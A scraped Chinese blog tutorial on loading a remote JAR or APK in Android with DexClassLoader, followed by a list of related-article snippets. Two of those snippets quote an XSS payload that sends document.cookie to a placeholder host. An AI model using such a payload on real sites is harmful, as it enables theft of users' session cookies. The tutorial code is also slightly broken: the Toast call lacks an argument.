android 加载远程Jar、APK
参考链接:
、http://blog.csdn.net/bboyfeiyu/article/details/11710497
2\ http://www.cnblogs.com/LittleRedPoint/p/3429709.html
第一步:编写接口
package com.lpl;
public interface ILoader {
public String sayHelloWorld();
}
第二步:实现接口
package com.lpl;
public class Remote implements ILoader{
@Override
public String sayHelloWorld() {
return "sayHelloWorld i am a jar";
}
}
第三步:打包jar
使用Eclipse的Export功能,导出指定的包或者java文件
第四步:使用dx命令处理jar文件
dx --dex --output=G:\remote_dex.jar G:\remote.jar 注意:dx命令可能在platform-tools中,也可能在build-tools中的子目录中
第五步:将dex拷贝到android项目的包目录下面
、直接放入sdcard可能会报异常,原因是android系统对sdcard的读写权限做了限制
2、需要在androidManifest中添加读写权限
3、jar需要放入到android/data/com.***目录下
第六步:
File file = new File(Environment.getExternalStorageDirectory().toString()+File.separator+"android/data/com.example.test/remote_dex.jar");
Class lib = null; try {
// BaseDexClassLoader cl = new BaseDexClassLoader(Environment.getExternalStorageDirectory().toString(), file, file.getAbsolutePath(), getClassLoader());
DexClassLoader cl = new DexClassLoader(file.getAbsolutePath(), file.getPath() , null, getClassLoader());
lib = cl.loadClass("com.lpl.Remote"); ILoader loader = (ILoader)lib.newInstance();
Toast.makeText(getApplicationContext(), ""+loader.sayHelloWorld(), ).show();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
catch (InstantiationException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} // 这里要注意,APk中也要有接口文件,远程的jar只是对接口文件的实现
补充:
远程加载jar、apk有两个目的1、为了类;2、为了资源;类只要拿到jar、apk通过反射就可以拿到,资源必须拿到context
http://www.cnblogs.com/weiwelcome0/p/3583870.html
android 加载远程Jar、APK的更多相关文章
- 8. Android加载流程(打包与启动)
移动安全的学习离不开对Android加载流程的分析,包括Android虚拟机,Android打包,启动流程等... 这篇文章 就对Android的一些基本加载进行学习. Android虚拟机 And ...
- Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)【系列1】
Android加载/处理超大图片神器!SubsamplingScaleImageView(subsampling-scale-image-view)[系列1] Android在加载或者处理超大巨型图片 ...
- 漂亮的Android加载中动画:AVLoadingIndicatorView
AVLoadingIndicatorView 包含一组漂亮的Android加载中动画. IOS版本:here. 示例 Download Apk 用法 步骤1 Add dependencies in b ...
- Android加载网络图片报android.os.NetworkOnMainThreadException异常
Android加载网络图片大致可以分为两种,低版本的和高版本的.低版本比如4.0一下或者更低版本的API直接利用Http就能实现了: 1.main.xml <?xml version=" ...
- jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据
jQuery.ajax( options ) : 通过 HTTP 请求加载远程数据 这个是jQuery 的底层 AJAX 实现.简单易用的高层实现见 $.get, $.post 等. $.ajax() ...
- iOS Cordova 加载远程界面
老大说,我们的项目要hybrid,要实现1.html能调用native:2.本地html调用本地html界面:3.能加载远程界面..... 因为我的项目是已有的(以下简称 项目),所以是要在已有的项目 ...
- android加载大量图片内存溢出的三种方法
android加载大量图片内存溢出的三种解决办法 方法一: 在从网络或本地加载图片的时候,只加载缩略图. /** * 按照路径加载图片 * @param path 图片资源的存放路径 * @para ...
- xss如何加载远程js的一些tips
在早期 , 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</ ...
- xss 加载远程第三方JS
script 没有调用远程平台,用web接收cookie <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.coo ...
随机推荐
- Unity 中几点注意的地方
1.面板摆放的规范 2.project工程面板中 文件夹命名的规范,不同类型的东西要分类摆放,例如Script 3.不要留空函数体(系统自动生成Start, Uadate等),空函数体一样会执行,尤其 ...
- 写一个java死锁的demo
package com.simon.study; /** * 线程死锁 一个线程要同时拥有两个对象的资源才能进行下一步操作: * @author: Simon * @date: 2017年7月29日 ...
- hdu 1394 (线段树求逆序数)
<题目链接> 题意描述: 给你一个有0--n-1数字组成的序列,然后进行这样的操作,每次将最前面一个元素放到最后面去会得到一个序列,那么这样就形成了n个序列,那么每个序列都有一个逆序数,找 ...
- Android高效内存2:让图片占用尽可能少的内存
Android高效内存:让图片占用尽可能少的内存 一.让你的图片最小化 1.1 大图小图内存使用情况对比 大图:440 * 336 小图:220 * 168 资源目录:xhdpi 小图的高宽都是 ...
- Java并发编程快速学习
上周的面试中,被问及了几个关于Java并发编程的问题,自己回答的都不是很系统和全面,可以说是"头皮发麻",哈哈.因此果断购入<Java并发编程的艺术>一书,学习后的体会 ...
- BZOJ.2095.[POI2010]Bridges(最大流ISAP 二分 欧拉回路)
题目链接 最小化最大的一条边,二分答案.然后就变成了给一张无向图定向使其为欧拉回路 二分答案后对于一个位置的两条边可能都保留,即双向边,需要给它定向:可能只保留小的一条,即单向边,不需考虑 如何给它定 ...
- BZOJ.2453.维护队列([模板]带修改莫队)
题目链接 带修改莫队: 普通莫队的扩展,依旧从[l,r,t]怎么转移到[l+1,r,t],[l,r+1,t],[l,r,t+1]去考虑 对于当前所在的区间维护一个vis[l~r]=1,在修改值时根据是 ...
- android stuido 的几个点
- PHP 实现 word/excel/ppt 转换为 PDF
前段时间负责公司内部文件平台的设计,其中有一个需求是要能够在线浏览用户上传的 office 文件. 我的思路是先将 office 转换成 PDF,再通过 pdf.js 插件解析 PDF 文件,使其能在 ...
- windows 64位环境下php执行环境部署配置
1.下载安装包 地址可以网上找,我下载的是php-5.6.27-Win32-VC11-x64.zip 2.解压安装包,我的解压到D:\tools\php5.6 3.配置php.ini 在解压的目录中, ...